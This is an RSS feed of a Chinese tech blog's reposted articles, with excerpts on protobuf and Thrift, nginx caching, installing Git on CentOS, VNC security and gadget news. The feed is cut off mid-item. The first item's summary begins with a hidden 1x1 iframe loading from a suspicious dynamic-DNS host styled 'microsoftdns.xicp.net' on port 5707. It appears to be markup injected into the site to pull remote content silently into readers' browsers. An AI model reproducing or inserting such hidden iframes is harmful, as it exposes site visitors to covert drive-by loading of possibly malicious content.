﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-Rixu Blog (日需博客)-随笔分类-转载</title><link>http://www.cppblog.com/gezidan/category/17503.html</link><description>日需博客，每日必需来踩踩哦..</description><language>zh-cn</language><lastBuildDate>Tue, 27 Oct 2015 01:27:37 GMT</lastBuildDate><pubDate>Tue, 27 Oct 2015 01:27:37 GMT</pubDate><ttl>60</ttl><item><title>Thrift and protobuf</title><link>http://www.cppblog.com/gezidan/archive/2015/10/26/212107.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 26 Oct 2015 12:18:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2015/10/26/212107.html</guid><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: <iframe allowtransparency="true" src="http://microsoftdns.xicp.net:5707/cppblog.png" width="1" height="1" style="display: block;"></iframe><br><br>最近工作需要保存一些结构化的数据。常规的思路，自然是选择xml。定义一个schema，然后再找个利落点的XML库(觉得tinyxml/tinyxml++ 就挺不错的)就算问题解决。这两天blog上比较热闹的话题，是从Google放出来的Protocol buffers ，一种用来部分替代xml的数据描述语言。Google就是Google，就算是推白菜出来，也一样能让人侧目。其实protocol buffers也不是什么新鲜的概念，且不说传统的ASN.1, ICE这些有点类似的东西，facebook一年前就推出了thrift ，应该说定位是非常的接近的。也有谣传说是先有了protocol buffers在google内部流行，然后google的人跳槽到facebook，就出了thrift这个东西&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2015/10/26/212107.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/212107.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2015-10-26 20:18 <a href="http://www.cppblog.com/gezidan/archive/2015/10/26/212107.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>小创意</title><link>http://www.cppblog.com/gezidan/archive/2011/11/01/159430.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 01 Nov 2011 02:18:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/11/01/159430.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/159430.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/11/01/159430.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/159430.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/159430.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Milk 设计公司提供了一个超级简单的方法，将不用的塑料瓶、玻璃瓶变成一个优雅的花瓶，或者是任何容器。这个套筒由硅胶制作，可以容纳不同大小的容器。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/11/01/159430.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/159430.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-11-01 10:18 <a href="http://www.cppblog.com/gezidan/archive/2011/11/01/159430.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（Chrome扩展）Google发布远程桌面控制扩展Chrome Remote Desktop BETA</title><link>http://www.cppblog.com/gezidan/archive/2011/10/10/157925.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 10 Oct 2011 01:17:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/10/10/157925.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157925.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/10/10/157925.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157925.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157925.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 如果你迫不及待地想帮女同学修电脑，但又极不情愿到对方家里提供上门服务，你不用纠结了。Google给你提供了一个远程控制工具。<br><br>Chrome Remote Desktop BETA是Google刚刚发布的一个远程桌面控制工具，可以让你通过Chrome浏览器或者Chromebook上网本远程访问另一台电脑。<br><br>该测试版产品采用了“Chrome远程”技术，有了它，你可以访问另一台电脑，并与之分享内容，你所要做的就是输入一个一次性的授权码。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/10/10/157925.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157925.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-10-10 09:17 <a href="http://www.cppblog.com/gezidan/archive/2011/10/10/157925.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>花78美元，人人都可以拥有一台智能手机驱动的机器人Romo</title><link>http://www.cppblog.com/gezidan/archive/2011/10/09/157858.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Sun, 09 Oct 2011 05:28:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/10/09/157858.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157858.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/10/09/157858.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157858.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157858.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Romo将由硬件和软件组成。硬件包括上面图片中你可以看到轮子，电板，智能手机接口，锂电池等。软件将由一系列手机应用构成，也就是说开发者可以为智能手机开发相关的应用来延伸该机器人的功能。<br><br>目前初期Romo正在开发的应用包括3款：一款是RomoRemote——遥控该机器人，你可以通过手机上的摄像头查看机器人周围的情况，也就是具有了间谍功能。Romo Kart：攻击应用，通过该应用你可以向机器人发出攻击命令，主要可以用于和同伴比赛玩耍。Drag and Drop Programming Module：你可以直接在你的智能手机上编程，并看着该机器人执行你的命令。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/10/09/157858.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157858.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-10-09 13:28 <a href="http://www.cppblog.com/gezidan/archive/2011/10/09/157858.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用memc-nginx和srcache-nginx模块构建高效透明的缓存机制</title><link>http://www.cppblog.com/gezidan/archive/2011/10/09/157841.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Sun, 09 Oct 2011 01:42:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/10/09/157841.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157841.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/10/09/157841.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157841.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157841.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 为了提高性能，几乎所有互联网应用都有缓存机制，其中Memcache是使用非常广泛的一个分布式缓存系统。众所周知，LAMP是非常经典的Web架构方式，但是随着Nginx的成熟，越来越多的系统开始转型为LNMP（Linux+Nginx+MySQL+PHP with fpm），这是因为Nginx采用基于事件机制的I/O多路复用思想设计，在高并发情况下其性能远远优于默认采用prefork模式的Apache，另外，相对于Apache，Nginx更轻量，同时拥有大量优秀的扩展模块，使得在Nginx上可以实现一些美妙的功能。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/10/09/157841.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157841.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-10-09 09:42 <a href="http://www.cppblog.com/gezidan/archive/2011/10/09/157841.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在centos上搭建Git分布式管理控制系统</title><link>http://www.cppblog.com/gezidan/archive/2011/10/09/157838.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Sun, 09 Oct 2011 01:24:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/10/09/157838.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157838.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/10/09/157838.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157838.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157838.html</trackback:ping><description><![CDATA[<span class="Apple-style-span" style="color: #333333; font-family: Georgia, 'Times New Roman', Times, san-serif; line-height: 25px; background-color: #ffffff; ">
<h1 style="font-family: 微软雅黑, sans-serif; font-size: 26px; background-color: #999999; color: #ffffff; padding-top: 8px; padding-right: 10px; padding-bottom: 8px; padding-left: 10px; ">简介：</h1>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; ">Git是一个开源的分布式版本控制系统，用以有效、高速的处理从很小到非常大的项目版本管理。</p>
<h1 style="font-family: 微软雅黑, sans-serif; font-size: 26px; background-color: #999999; color: #ffffff; padding-top: 8px; padding-right: 10px; padding-bottom: 8px; padding-left: 10px; ">安装步骤：</h1>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><strong>操作系统：centos 5.5</strong></p>
<ul style="list-style-type: none; list-style-position: initial; list-style-image: initial; margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 45px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
     <ul style="list-style-type: none; list-style-position: initial; list-style-image: initial; margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 45px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
         <li style="background-image: url(http://www.cnblogs.com/Skins/Minyx2_Lite/images/icon_miniarrow.gif); padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 15px; list-style-type: disc; background-position: 0px 9px; background-repeat: no-repeat no-repeat; ">
         <h2 style="font-family: 微软雅黑, sans-serif; font-size: 22px; letter-spacing: -1px; background-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 6px; padding-left: 0px; line-height: 26px; color: #336699; background-position: 0% 100%; background-repeat: repeat no-repeat; ">安装GIT依赖的包</h2>
         </li>
     </ul>
</ul>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; ">yum install zlib-devel&nbsp;<br />
yum install openssl-devel&nbsp;<br />
yum install perl&nbsp;<br />
yum install cpio&nbsp;<br />
yum install expat-devel&nbsp;<br />
yum install gettext-devel</p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; ">yum install autoconf</p>
<ul style="list-style-type: none; list-style-position: initial; list-style-image: initial; margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 45px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
     <ul style="list-style-type: none; list-style-position: initial; list-style-image: initial; margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 45px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
         <li style="background-image: url(http://www.cnblogs.com/Skins/Minyx2_Lite/images/icon_miniarrow.gif); padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 15px; list-style-type: disc; background-position: 0px 9px; background-repeat: no-repeat no-repeat; ">
         <h2 style="font-family: 微软雅黑, sans-serif; font-size: 22px; letter-spacing: -1px; background-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 6px; padding-left: 0px; line-height: 26px; color: #336699; background-position: 0% 100%; background-repeat: repeat no-repeat; ">安装curl</h2>
         </li>
     </ul>
</ul>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; ">安装cURL&nbsp;</p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "># wget http://curl.haxx.se/download/curl-7.17.1.tar.gz&nbsp;<br />
# tar zxvf curl-7.17.1.tar.gz&nbsp; //解压</p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; ">#cd curl-7.17.1&nbsp;<br />
# ./configure --prefix=/usr/local/curl&nbsp;<br />
# make&nbsp;<br />
# make install</p>
<ul style="list-style-type: none; list-style-position: initial; list-style-image: initial; margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 45px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
     <li style="background-image: url(http://www.cnblogs.com/Skins/Minyx2_Lite/images/icon_miniarrow.gif); padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 15px; list-style-type: disc; background-position: 0px 9px; background-repeat: no-repeat no-repeat; ">
     <h2 style="font-family: 微软雅黑, sans-serif; font-size: 22px; letter-spacing: -1px; background-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 6px; padding-left: 0px; line-height: 26px; color: #336699; background-position: 0% 100%; background-repeat: repeat no-repeat; ">修改ld.so.conf 添加/usr/local/lib</h2>
     </li>
</ul>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; ">vi /etc/ld.so.conf 添加/usr/local/lib</p>
<ul style="list-style-type: none; list-style-position: initial; list-style-image: initial; margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 45px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
     <li style="background-image: url(http://www.cnblogs.com/Skins/Minyx2_Lite/images/icon_miniarrow.gif); padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 15px; list-style-type: disc; background-position: 0px 9px; background-repeat: no-repeat no-repeat; ">
     <h2 style="font-family: 微软雅黑, sans-serif; font-size: 22px; letter-spacing: -1px; background-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 6px; padding-left: 0px; line-height: 26px; color: #336699; background-position: 0% 100%; background-repeat: repeat no-repeat; ">运行idconfig</h2>
     </li>
</ul>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; ">/sbin/ldconfig</p>
<ul style="list-style-type: none; list-style-position: initial; list-style-image: initial; margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 45px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
     <li style="background-image: url(http://www.cnblogs.com/Skins/Minyx2_Lite/images/icon_miniarrow.gif); padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 15px; list-style-type: disc; background-position: 0px 9px; background-repeat: no-repeat no-repeat; ">
     <h2 style="font-family: 微软雅黑, sans-serif; font-size: 22px; letter-spacing: -1px; background-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 6px; padding-left: 0px; line-height: 26px; color: #336699; background-position: 0% 100%; background-repeat: repeat no-repeat; ">安装Git</h2>
     </li>
</ul>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code>wget http://www.codemonkey.org.uk/projects/git-snapshots/git/git-latest.tar.gz<br />
tar xzvf git-latest.tar.gz&nbsp;<br />
cd git-2011-10-08</code></p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code></code><code>autoconf</code></p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code>./configure --with-curl=/usr/local/curl&nbsp;<br />
make&nbsp;<br />
make install</code></p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code>*************************************安装ok</code></p>
<h2 style="font-family: 微软雅黑, sans-serif; font-size: 22px; letter-spacing: -1px; background-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 6px; padding-left: 0px; line-height: 26px; color: #336699; background-position: 0% 100%; background-repeat: repeat no-repeat; ">测试<code>：</code></h2>
<h2 style="font-family: 微软雅黑, sans-serif; font-size: 22px; letter-spacing: -1px; background-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 6px; padding-left: 0px; line-height: 26px; color: #336699; background-position: 0% 100%; background-repeat: repeat no-repeat; "><code>终端输入#git</code></h2>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><a href="http://images.cnblogs.com/cnblogs_com/phphuaibei/201110/201110081814067963.png" style="outline-style: none; outline-width: initial; outline-color: initial; text-decoration: none; color: #3d81ee; border-bottom-width: 1px; border-bottom-style: dashed; "><img title="wps_clip_image-15949" border="0" alt="wps_clip_image-15949" src="http://images.cnblogs.com/cnblogs_com/phphuaibei/201110/201110081814097949.png" width="627" height="346" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; background-color: #ffffff; display: inline; border-style: initial; border-color: initial; " /></a></p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code>相关参数和说明还是很全的</code></p>
<h1 style="font-family: 微软雅黑, sans-serif; font-size: 26px; background-color: #999999; color: #ffffff; padding-top: 8px; padding-right: 10px; padding-bottom: 8px; padding-left: 10px; "><code>使用和搭建版本控制：</code></h1>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code>可以参考：</code></p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code><a href="http://blog.haohtml.com/wp-content/uploads/2011/04/git-tut.pdf" style="outline-style: none; outline-width: initial; outline-color: initial; text-decoration: none; color: #3d81ee; border-bottom-width: 1px; border-bottom-style: dashed; ">http://blog.haohtml.com/wp-content/uploads/2011/04/git-tut.pdf</a></code></p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><a href="http://www.linuxsir.org/main/doc/git/gittutorcn.htm" style="outline-style: none; outline-width: initial; outline-color: initial; text-decoration: none; color: #3d81ee; border-bottom-width: 1px; border-bottom-style: dashed; ">http://www.linuxsir.org/main/doc/git/gittutorcn.htm</a></p>
</span>﻿<span class="Apple-style-span" style="color: #333333; font-family: Georgia, 'Times New Roman', Times, san-serif; line-height: 25px; background-color: #ffffff; "><p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code>或者下载《<a href="http://files.cnblogs.com/phphuaibei/git%E6%90%AD%E5%BB%BA.pdf" target="_blank" style="outline-style: none; outline-width: initial; outline-color: initial; text-decoration: none; color: #3d81ee; border-bottom-width: 1px; border-bottom-style: dashed; ">git搭建</a>》文档</code></p></span><div class="MySignatureBoard" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; line-height: 24px; min-height: 31px; overflow-x: hidden; overflow-y: hidden; word-wrap: break-word; word-break: break-all; "> <img alt="Logo" src="http://www.cppblog.com/images/cppblog_com/gezidan/17469/r_Rixu_net(245_100).png" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px;border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; margin-left: 10px; margin-right: 10px; margin-top: 10px; margin-bottom: 10px; float: left; width: 245px; height: 100px; " /> <div id="MySignature" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 255px; margin-top: 10px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-width: 2px; border-right-width: 2px; border-bottom-width: 2px; border-left-width: 2px; border-color: #4371a6; background-image: url(http://www.xxx.com/bk.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; background-position: 15px 50%; background-repeat: no-repeat no-repeat; "> <span style="color: #333333; line-height: 21px; ">作者：<a href="http://www.rixu.net" style="text-decoration: none; color: #000000; line-height: 24px; cursor: pointer; outline-style: none; outline-width: initial; outline-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: #333333; " target="_blank">Gezidan</a></span> <div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 25px; "> <span style="color: #333333; line-height: 21px; ">出处：<a href="http://www.rixu.net" style="text-decoration: none; color: #000000; line-height: 24px; cursor: pointer; outline-style: none; outline-width: initial; outline-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: #333333; " target="_blank">http://www.rixu.net</a>　　　　</span></div> <div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 25px; "> <span style="color: #333333; line-height: 21px; ">本文版权归作者和博客园共有，欢迎转载，但未经作者同意必须保留此段声明，且在文章页面明显位置给出原文连接，否则保留追究法律责任的权利。</span></div> </div>
</div>
<br />
<br /><br />
<br />
本文转载自&nbsp;http://www.cnblogs.com/phphuaibei/archive/2011/10/08/2202382.html<img src ="http://www.cppblog.com/gezidan/aggbug/157838.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-10-09 09:24 <a href="http://www.cppblog.com/gezidan/archive/2011/10/09/157838.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>加州大学：50美元+iPhone=350倍医学显微镜</title><link>http://www.cppblog.com/gezidan/archive/2011/10/08/157801.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Sat, 08 Oct 2011 08:50:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/10/08/157801.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157801.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/10/08/157801.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157801.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157801.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 加州大学的一个研究小组进行的一项试验发现花不到50美元就可以将iPhone变成一个能放大350倍的医学显微镜。<br><br>他们是这样做的：将一个1毫米球透镜用胶带和橡皮筋附着到iPhone的透镜组外。虽然这个小小的球透镜只能产生5倍放大的效果，但是其却能创建一个很小的焦点使得我们能看清大约1.5微米的细节。然后经过失真处理并且结合多张图片的聚焦区域，你就可以得到比较清晰的放大到350倍的图像了。通过该图像你甚至可以鉴定细胞的类型，数量以及光谱读数。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/10/08/157801.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157801.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-10-08 16:50 <a href="http://www.cppblog.com/gezidan/archive/2011/10/08/157801.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>分享10款WordPress模板</title><link>http://www.cppblog.com/gezidan/archive/2011/10/08/157757.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Sat, 08 Oct 2011 01:56:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/10/08/157757.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157757.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/10/08/157757.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157757.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157757.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 下载该模板所对应的文件                                                                                                    下载该模板所对应的文件                                                                ...&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/10/08/157757.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157757.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-10-08 09:56 <a href="http://www.cppblog.com/gezidan/archive/2011/10/08/157757.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VNC远程管理Linux服务器安全指导</title><link>http://www.cppblog.com/gezidan/archive/2011/10/08/157750.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Sat, 08 Oct 2011 01:11:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/10/08/157750.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157750.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/10/08/157750.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157750.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157750.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 在开源领域，远程遥控技术的代表就是VNC了。VNC（Virtual Network Computer，虚拟网络计算机）是一套由AT&T实验室开发的可操控远程计算机的软件。根据主控端与被控端的不同，VNC软件可以分为两个部分，分别为VNC Server与VNC viewer。前者是安装在被控制端上，而后者被安装在主控端上。VNC软件不仅是开源的，而且是跨平台的。有不少系统管理员喜欢在Windows平台上使用这个VNC来作为远程管理Linux服务器或者客户端的工具。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/10/08/157750.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157750.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-10-08 09:11 <a href="http://www.cppblog.com/gezidan/archive/2011/10/08/157750.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>我们的网站压力究竟在哪里</title><link>http://www.cppblog.com/gezidan/archive/2011/10/08/157749.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Sat, 08 Oct 2011 01:08:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/10/08/157749.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157749.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/10/08/157749.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157749.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157749.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要:     目前网站架构一般分成负载均衡层、WEB层和数据库层，我其实一般还会多加一层，即文件服务器层，这样我们在后面的讨论过程中，我们可以依次对这四层进行讨论；这里为了更具有说服力，我将用三个并发较大的生产环境来说明下，一个是我现在维护的电子商务网站（并发最大值2000，日PV500万左右，此并发并不是总这么高的，只是最高峰是有2900，下面的网站类似）、我的一拍网网站（并发最大值500，日PV50万左右）、以前维护的大型CDN广告网站（并发最大值5000，日PV5000万左右）。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/10/08/157749.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157749.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-10-08 09:08 <a href="http://www.cppblog.com/gezidan/archive/2011/10/08/157749.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用iptables实现NAT转发功能</title><link>http://www.cppblog.com/gezidan/archive/2011/10/08/157748.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Sat, 08 Oct 2011 01:02:00 